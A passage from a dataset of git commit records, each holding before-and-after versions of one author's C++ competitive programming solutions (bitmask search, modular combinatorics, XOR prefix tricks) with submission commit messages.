ans;\n}\n\nint main()\n{\n int Q;\n cin >> Q;\n for (auto i = 0; i < Q; i++)\n {\n cin >> A >> B;\n cout << solve() << endl;\n }\n}<|endoftext|>"} {"text":"<commit_before>\/**\n * File : F.cpp\n * Author : Kazune Takahashi\n * Created : 2018-4-15 23:25:04\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, M, Q;\nint a[50];\nint l[50];\nint r[50];\nbool used[50];\n\nll solve()\n{\n ll ans = 0;\n for (auto i = 0; i < Q; i++)\n {\n int maxi = 0;\n for (auto j = l[i]; j <= r[i]; j++)\n {\n if (!used[j] && a[j] > maxi)\n {\n maxi = a[j];\n }\n }\n \/\/ cerr << maxi << \" \";\n ans += maxi;\n }\n \/\/ cerr << \", ans = \" << ans << endl;\n return ans;\n}\n\nvoid solveA()\n{\n ll ans = 100000000;\n for (auto i = 0; i < (1 << N); i++)\n {\n int cnt = 0;\n for (auto j = 0; j < N; j++)\n {\n if ((i >> j) & 1)\n {\n cnt++;\n }\n }\n if (cnt == M)\n {\n for (auto j = 0; j < N; j++)\n {\n used[j] = (i >> j) & 1;\n }\n ans = min(ans, solve());\n }\n }\n cout << ans << endl;\n}\n\nvoid solveB()\n{\n fill(used, used + N, false);\n int c[50];\n fill(c, c + 50, 0);\n for (auto i = 0; i < Q; i++)\n {\n for (auto j = l[i]; j <= r[i]; j++)\n {\n c[j]++;\n }\n }\n vector< tuple<int, int> > V;\n for (auto i = 0; i < N; i++)\n {\n V.push_back(make_tuple(c[i], i));\n }\n sort(V.begin(), V.end());\n reverse(V.begin(), V.end());\n for (auto i = 0; i < M; i++)\n {\n used[get<1>(V[i])] = true;\n }\n cout << solve() << endl;\n}\n\nint main()\n{\n cin >> N >> M >> Q;\n for (auto i = 0; i < N; i++)\n {\n cin >> a[i];\n }\n for (auto i = 0; i < Q; i++)\n {\n cin >> l[i] >> r[i];\n l[i]--;\n r[i]--;\n }\n if (N <= 15)\n {\n solveA();\n }\n else\n {\n solveB();\n }\n}<commit_msg>submit F.cpp to 'F - Lunch Menu' (s8pc-5) [C++14 (GCC 5.4.1)]<commit_after>\/**\n * File : F.cpp\n * Author : Kazune Takahashi\n * Created : 2018-4-15 23:25:04\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, M, Q;\nint a[50];\nint l[50];\nint r[50];\nbool used[50];\n\nll solve()\n{\n ll ans = 0;\n for (auto i = 0; i < Q; i++)\n {\n int maxi = 0;\n for (auto j = l[i]; j <= r[i]; j++)\n {\n if (!used[j] && a[j] > maxi)\n {\n maxi = a[j];\n }\n }\n \/\/ cerr << maxi << \" \";\n ans += maxi;\n }\n \/\/ cerr << \", ans = \" << ans << endl;\n return ans;\n}\n\nvoid solveA()\n{\n ll ans = 10000000000000;\n for (auto i = 0; i < (1 << N); i++)\n {\n int cnt = 0;\n for (auto j = 0; j < N; j++)\n {\n if ((i >> j) & 1)\n {\n cnt++;\n }\n }\n if (cnt == M)\n {\n for (auto j = 0; j < N; j++)\n {\n used[j] = (i >> j) & 1;\n }\n ans = min(ans, solve());\n }\n }\n cout << ans << endl;\n}\n\nvoid solveB()\n{\n fill(used, used + N, false);\n int c[50];\n fill(c, c + 50, 0);\n for (auto i = 0; i < Q; i++)\n {\n for (auto j = l[i]; j <= r[i]; j++)\n {\n c[j]++;\n }\n }\n vector< tuple<int, int> > V;\n for (auto i = 0; i < N; i++)\n {\n V.push_back(make_tuple(c[i], i));\n }\n sort(V.begin(), V.end());\n reverse(V.begin(), V.end());\n for (auto i = 0; i < M; i++)\n {\n used[get<1>(V[i])] = true;\n }\n cout << solve() << endl;\n}\n\nint main()\n{\n cin >> N >> M >> Q;\n for (auto i = 0; i < N; i++)\n {\n cin >> a[i];\n }\n for (auto i = 0; i < Q; i++)\n {\n cin >> l[i] >> r[i];\n l[i]--;\n r[i]--;\n }\n if (N <= 15)\n {\n solveA();\n }\n else\n {\n solveB();\n }\n}<|endoftext|>"} {"text":"<commit_before>\/**\n * File : B.cpp\n * Author : Kazune Takahashi\n * Created : 2018-6-3 21:04:40\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\nconst int MAX_SIZE = 1000010;\nconst long long MOD = 998244353;\n\nlong long inv[MAX_SIZE];\nlong long fact[MAX_SIZE];\nlong long factinv[MAX_SIZE];\n\ntypedef long long ll;\n\nvoid init()\n{\n inv[1] = 1;\n for (int i = 2; i < MAX_SIZE; i++)\n {\n inv[i] = ((MOD - inv[MOD % i]) * (MOD \/ i)) % MOD;\n }\n fact[0] = factinv[0] = 1;\n for (int i = 1; i < MAX_SIZE; i++)\n {\n fact[i] = (i * fact[i - 1]) % MOD;\n factinv[i] = (inv[i] * factinv[i - 1]) % MOD;\n }\n}\n\nlong long C(int n, int k)\n{\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return ((fact[n] * factinv[k]) % MOD * factinv[n - k]) % MOD;\n }\n return 0;\n}\n\nlong long power(long long x, long long n)\n{\n if (n == 0)\n {\n return 1;\n }\n else if (n % 2 == 1)\n {\n return (x * power(x, n - 1)) % MOD;\n }\n else\n {\n long long half = power(x, n \/ 2);\n return (half * half) % MOD;\n }\n}\n\nlong long gcm(long long a, long long b)\n{\n if (a < b)\n {\n return gcm(b, a);\n }\n if (b == 0)\n return a;\n return gcm(b, a % b);\n}\n\nll N, A, B, K;\n\nll calc(ll k, ll l)\n{\n return (C(N, k) * C(N, l)) % MOD;\n}\n\nint main()\n{\n cin >> N >> A >> B >> K;\n ll g = gcm(A, B);\n if (K % g != 0)\n {\n cout << 0 << endl;\n return 0;\n }\n A \/= g;\n B \/= g;\n K \/= g;\n ll ans = 0;\n for (ll k = 0; k <= N; k++)\n {\n ll BL = K - A * k;\n if (BL % B == 0)\n {\n ll l = BL \/ B;\n if (0 <= l && l <= N)\n {\n ans += calc(k, l);\n ans %= MOD;\n }\n }\n }\n cout << ans << endl;\n}<commit_msg>submit B.cpp to 'B - RGB Coloring' (agc025) [C++14 (GCC 5.4.1)]<commit_after>\/**\n * File : B.cpp\n * Author : Kazune Takahashi\n * Created : 2018-6-3 21:04:40\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <random> \/\/ random_device rd; mt19937 mt(rd());\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\nconst int MAX_SIZE = 1000010;\nconst long long MOD = 998244353;\n\nlong long inv[MAX_SIZE];\nlong long fact[MAX_SIZE];\nlong long factinv[MAX_SIZE];\n\ntypedef long long ll;\n\nvoid init()\n{\n inv[1] = 1;\n for (int i = 2; i < MAX_SIZE; i++)\n {\n inv[i] = ((MOD - inv[MOD % i]) * (MOD \/ i)) % MOD;\n }\n fact[0] = factinv[0] = 1;\n for (int i = 1; i < MAX_SIZE; i++)\n {\n fact[i] = (i * fact[i - 1]) % MOD;\n factinv[i] = (inv[i] * factinv[i - 1]) % MOD;\n }\n}\n\nlong long C(int n, int k)\n{\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return ((fact[n] * factinv[k]) % MOD * factinv[n - k]) % MOD;\n }\n return 0;\n}\n\nlong long power(long long x, long long n)\n{\n if (n == 0)\n {\n return 1;\n }\n else if (n % 2 == 1)\n {\n return (x * power(x, n - 1)) % MOD;\n }\n else\n {\n long long half = power(x, n \/ 2);\n return (half * half) % MOD;\n }\n}\n\nlong long gcm(long long a, long long b)\n{\n if (a < b)\n {\n return gcm(b, a);\n }\n if (b == 0)\n return a;\n return gcm(b, a % b);\n}\n\nll N, A, B, K;\n\nll calc(ll k, ll l)\n{\n return (C(N, k) * C(N, l)) % MOD;\n}\n\nint main()\n{\n init();\n cin >> N >> A >> B >> K;\n ll g = gcm(A, B);\n if (K % g != 0)\n {\n cout << 0 << endl;\n return 0;\n }\n A \/= g;\n B \/= g;\n K \/= g;\n ll ans = 0;\n for (ll k = 0; k <= N; k++)\n {\n ll BL = K - A * k;\n if (BL % B == 0)\n {\n ll l = BL \/ B;\n if (0 <= l && l <= N)\n {\n ans += calc(k, l);\n ans %= MOD;\n }\n }\n }\n cout << ans << endl;\n}<|endoftext|>"} {"text":"<commit_before>\/**\n * File : C.cpp\n * Author : Kazune Takahashi\n * Created : 2018-8-25 20:45:21\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, K;\nll x[100010];\nvector<ll> V[2];\n\nint main()\n{\n cin >> N >> K;\n for (auto i = 0; i < N; i++)\n {\n cin >> x[i];\n }\n for (auto i = 0; i < N; i++)\n {\n if (x[i] > 0)\n {\n V[0].push_back(x[i]);\n }\n else\n {\n V[1].push_back(-x[i]);\n }\n }\n sort(V[1].begin(), V[1].end());\n ll ans = 100000000000000;\n for (auto i = 0; i < 2; i++)\n {\n if ((int)V[i].size() >= K)\n {\n ans = min(ans, V[i][K - 1]);\n }\n }\n for (auto k = 0; k <= K; k++)\n {\n int l = K - k;\n if ((int)V[0].size() >= k && l >= 0 && (int)V[1].size() >= l)\n {\n ans = min(ans, V[0][k - 1] + 2 * V[1][l - 1]);\n ans = min(ans, 2 * V[0][k - 1] + V[1][l - 1]);\n }\n }\n cout << ans << endl;\n}<commit_msg>tried C.cpp to 'C'<commit_after>\/**\n * File : C.cpp\n * Author : Kazune Takahashi\n * Created : 2018-8-25 20:45:21\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(19920725));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\n#define DEBUG 0 \/\/ change 0 -> 1 if we need debug.\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nint N, K;\nll x[100010];\nvector<ll> V[2];\n\nint main()\n{\n cin >> N >> K;\n for (auto i = 0; i < N; i++)\n {\n cin >> x[i];\n }\n for (auto i = 0; i < N; i++)\n {\n if (x[i] > 0)\n {\n V[0].push_back(x[i]);\n }\n else\n {\n V[1].push_back(-1 * x[i]);\n }\n }\n sort(V[1].begin(), V[1].end());\n for (auto x : V[0])\n {\n cerr << x << endl;\n }\n cerr << \" \" << endl;\n for (auto x : V[1])\n {\n cerr << x << endl;\n }\n ll ans = 100000000000000;\n for (auto i = 0; i < 2; i++)\n {\n if ((int)V[i].size() >= K)\n {\n ans = min(ans, V[i][K - 1]);\n }\n }\n for (auto k = 0; k <= K; k++)\n {\n int l = K - k;\n if ((int)V[0].size() >= k && (int)V[1].size() >= l)\n {\n ans = min(ans, V[0][k - 1] + 2 * V[1][l - 1]);\n ans = min(ans, 2 * V[0][k - 1] + V[1][l - 1]);\n }\n }\n cout << ans << endl;\n}<|endoftext|>"} {"text":"<commit_before>#define DEBUG 1\n\n\/**\n * File : D.cpp\n * Author : Kazune Takahashi\n * Created : 3\/9\/2019, 9:11:28 PM\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(10101010));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nll A, B;\n\nll X(ll L)\n{\n ll ans = 0;\n for (auto i = 0; i < 60; i++)\n {\n ll M = (1LL << (i + 1));\n ll cnt = L % M;\n#if DEBUG == 1\n cerr << \"M = \" << M << \", cnt = \" << cnt << endl;\n#endif\n if (cnt >= M \/ 2)\n {\n cnt -= M \/ 2;\n if (cnt % 2 == 1)\n {\n ans += (1LL << i);\n }\n }\n }\n return ans;\n}\n\nint main()\n{\n cin >> A >> B;\n cout << (X(A) ^ X(B)) << endl;\n}<commit_msg>tried D.cpp to 'D'<commit_after>#define DEBUG 1\n\n\/**\n * File : D.cpp\n * Author : Kazune Takahashi\n * Created : 3\/9\/2019, 9:11:28 PM\n * Powered by Visual Studio Code\n *\/\n\n#include <iostream>\n#include <iomanip> \/\/ << fixed << setprecision(xxx)\n#include <algorithm> \/\/ do { } while ( next_permutation(A, A+xxx) ) ;\n#include <vector>\n#include <string> \/\/ to_string(nnn) \/\/ substr(m, n) \/\/ stoi(nnn)\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map> \/\/ if (M.find(key) != M.end()) { }\n#include <set>\n#include <functional>\n#include <random> \/\/ auto rd = bind(uniform_int_distribution<int>(0, 9), mt19937(10101010));\n#include <chrono> \/\/ std::chrono::system_clock::time_point start_time, end_time;\n\/\/ start = std::chrono::system_clock::now();\n\/\/ double elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end_time-start_time).count();\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\nusing namespace std;\n\ntypedef long long ll;\n\n\/\/ const int dx[4] = {1, 0, -1, 0};\n\/\/ const int dy[4] = {0, 1, 0, -1};\n\n\/\/ const int C = 1e6+10;\n\/\/ const ll M = 1000000007;\n\nll A, B;\n\nll X(ll L)\n{\n ll ans = 0;\n for (auto i = 0; i < 60; i++)\n {\n ll M = (1LL << (i + 1));\n ll cnt = L % M;\n#if DEBUG == 1\n cerr << \"M = \" << M << \", cnt = \" << cnt << endl;\n#endif\n if (cnt >= M \/ 2)\n {\n cnt -= M \/ 2;\n if (cnt % 2 == 1)\n {\n ans += (1LL << i);\n }\n }\n#if DEBUG == 1\n cerr << \"ans = \" << ans << endl;\n#endif\n }\n return ans;\n}\n\nint main()\n{\n cin >> A >> B;\n cout << (X(A) ^ X(B)) << endl;\n}<|endoftext|>"} {"text":"<commit_before>#define DEBUG 1\n\/**\n * File : E.cpp\n * Author : Kazune Takahashi\n * Created : 11\/18\/2019, 8:58:07 PM\n * Powered by Visual Studio Code\n *\/\n#include <iostream>\n#include <iomanip>\n#include <algorithm>\n#include <vector>\n#include <string>\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map>\n#include <set>\n#include <unordered_map>\n#include <unordered_set>\n#include <bitset>\n#include <functional>\n#include <random>\n#include <chrono>\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n\/\/ ----- using directives and manipulations -----\nusing boost::rational;\nusing namespace std;\nusing ll = long long;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{3000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{x % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(const Mint &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(const Mint &a) { return *this += -a; }\n Mint &operator*=(const Mint &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(const Mint &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n bool operator<(const Mint &a) const { return x < a.x; }\n bool operator==(const Mint &a) const { return x == a.x; }\n const Mint power(ll N)\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i = 2LL; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i = 1LL; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\nll gcd(ll x, ll y) { return y ? gcd(y, x % y) : x; }\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"No\" << endl;\n exit(0);\n}\n\/\/ ----- main() -----\n\nvoid add_edge(map<int, int> &m, int h, int d)\n{\n if (m.find(h) == m.end())\n {\n m[h] = d;\n }\n else\n {\n ch_max(m[h], d);\n }\n}\n\nvoid calc_high(vector<int> const &A, vector<map<int, int>> &M, int i, int h, int d)\n{\n add_edge(M[i + 1], A[i + 1] - (A[i] - h), d);\n add_edge(M[i + 1], h, d + 1);\n add_edge(M[i + 1], 0, d + 2);\n}\n\nvoid calc_low(vector<int> const &A, vector<map<int, int>> &M, int i, int h, int d)\n{\n if (h <= A[i + 1])\n {\n add_edge(M[i + 1], h, d);\n }\n add_edge(M[i + 1], max(0, A[i + 1] - (A[i] - h)), d + 1);\n add_edge(M[i + 1], 0, d + 2);\n}\n\nvoid eliminate(map<int, int> &m)\n{\n int now{m[0]};\n map<int, int> k;\n for (auto const &x : m)\n {\n if (x.second == now)\n {\n k.insert(x);\n --now;\n }\n }\n swap(m, k);\n}\n\nvoid calc(vector<int> const &A, vector<map<int, int>> &M, int i, pair<int, int> const &x)\n{\n int h{x.first};\n int d{x.second};\n if (A[i] <= A[i + 1])\n {\n calc_high(A, M, i, h, d);\n }\n else\n {\n calc_low(A, M, i, h, d);\n }\n#if DEBUG == 1\n for (auto const &x : M[i + 1])\n {\n cerr << \"M[\" << i + 1 << \"][\" << x.first << \"] = \" << x.second << endl;\n }\n#endif\n eliminate(M[i + 1]);\n}\n\nint main()\n{\n int N;\n cin >> N;\n vector<int> A(N + 1, 0);\n for (auto i = 1; i <= N; i++)\n {\n cin >> A[i];\n }\n vector<map<int, int>> M(N + 1);\n M[0][0] = 0;\n for (auto i = 0; i < N; i++)\n {\n for (auto const &x : M[i])\n {\n calc(A, M, i, x);\n }\n }\n cout << M[N].end()->second << endl;\n}\n<commit_msg>tried E.cpp to 'E'<commit_after>#define DEBUG 1\n\/**\n * File : E.cpp\n * Author : Kazune Takahashi\n * Created : 11\/18\/2019, 8:58:07 PM\n * Powered by Visual Studio Code\n *\/\n#include <iostream>\n#include <iomanip>\n#include <algorithm>\n#include <vector>\n#include <string>\n#include <complex>\n#include <tuple>\n#include <queue>\n#include <stack>\n#include <map>\n#include <set>\n#include <unordered_map>\n#include <unordered_set>\n#include <bitset>\n#include <functional>\n#include <random>\n#include <chrono>\n#include <cctype>\n#include <cassert>\n#include <cmath>\n#include <cstdio>\n#include <cstdlib>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n\/\/ ----- using directives and manipulations -----\nusing boost::rational;\nusing namespace std;\nusing ll = long long;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{3000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{x % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(const Mint &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(const Mint &a) { return *this += -a; }\n Mint &operator*=(const Mint &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(const Mint &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n bool operator<(const Mint &a) const { return x < a.x; }\n bool operator==(const Mint &a) const { return x == a.x; }\n const Mint power(ll N)\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i = 2LL; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i = 1LL; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return 